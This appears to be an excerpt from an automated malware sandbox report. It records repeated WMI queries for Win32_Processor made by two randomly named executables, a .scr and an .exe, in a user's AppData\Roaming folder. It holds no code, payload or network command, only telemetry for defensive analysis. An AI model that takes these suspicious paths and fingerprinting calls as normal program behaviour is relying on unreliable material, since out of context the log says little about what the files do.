Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
